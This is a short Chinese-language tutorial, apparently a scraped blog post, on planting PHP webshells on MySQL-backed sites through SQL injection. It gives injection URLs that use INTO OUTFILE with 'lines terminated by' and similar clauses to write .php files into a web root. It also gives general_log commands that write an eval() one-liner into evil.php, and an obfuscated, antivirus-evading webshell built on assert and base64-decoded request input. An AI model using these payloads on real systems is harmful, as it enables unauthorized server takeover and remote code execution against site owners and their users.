sql注入中写入webshell的几种方式php
secure_file_priv="c:/…"被注释掉或者是web路径mysql
php.ini中的get_magic_quotes_gpc()函数未开启web
其中secure_file_priv有三种状况sql
在进行写入websell时,要注意参数secure_file_priv是否有指定路径或者是否为null。最好要得到root权限shell
0x01函数
Union select后写入日志
Ps:目录分隔符要用斜杠(/)code
outfile与dumpfile有必定的区别
eg:假设有一个二进制文件,若是用outfile导入,则在导出过程当中会被转义从而被破坏,这是只能使用dumpfile函数blog
Into dumpfile函数不会对任何列行进行终止,也不会执行转义处理get
0x02
Lines terminated by
?id=1' into outfile 'D:\Phpstudy\PHPTutorial\WWW\num.php' lines terminated by ''--+
注入原理:select 语句查询的内容写入文件,Lines terminated by语句拼接webshell。
能够理解为:以每行终止的位置添加xx内容
0x03
Lines starting by
?id=1' into outfile 'D:\Phpstudy\PHPTutorial\WWW\num2.php' lines starting by ''--+
Lines starting by 以每行开始的位置添加xx内容
0x04
Fields terminated by
?id=1' into outfile 'D:\Phpstudy\PHPTutorial\WWW\num3.php' fields terminated by ''--+
Fields terminated by 每一个字段的间隔中插入xx内容
0x05
Columns terminated by
?id=1' into outfile 'D:\Phpstudy\PHPTutorial\WWW\num4.php' columns terminated by ''--+
Columns terminated by 每一个字段的位置添加xx内容
0x06
利用log写入
show variables like '%general%'; #查看配置 set global general_log = on; #开启general log模式 set global general_log_file = 'E:/study/WWW/evil.php'; #设置日志目录为shell地址 select '<?php eval($_GET[g]);?>' #写入shell set global general_log=off; #关闭general log模式
流程:
1.开启general log模式
2.修改log根地址
3.写入shell
开启general log模式后,只要是对mysql进行操做的语句都会在log中有记录,修改log根地址后,写入一句话shell就能够利用相对路径
sql查询免杀shell语句 SELECT “<?php $p = array(‘f’=>’a’,’pffff’=>’s’,’e’=>’fffff’,’lfaaaa’=>’r’,’nnnnn’=>’t’);$a = array_keys($p);$_=$p[‘pffff’].$p[‘pffff’].$a[2];$_= ‘a’.$_.’rt';$_(base64_decode($_REQUEST[‘username’]));?>”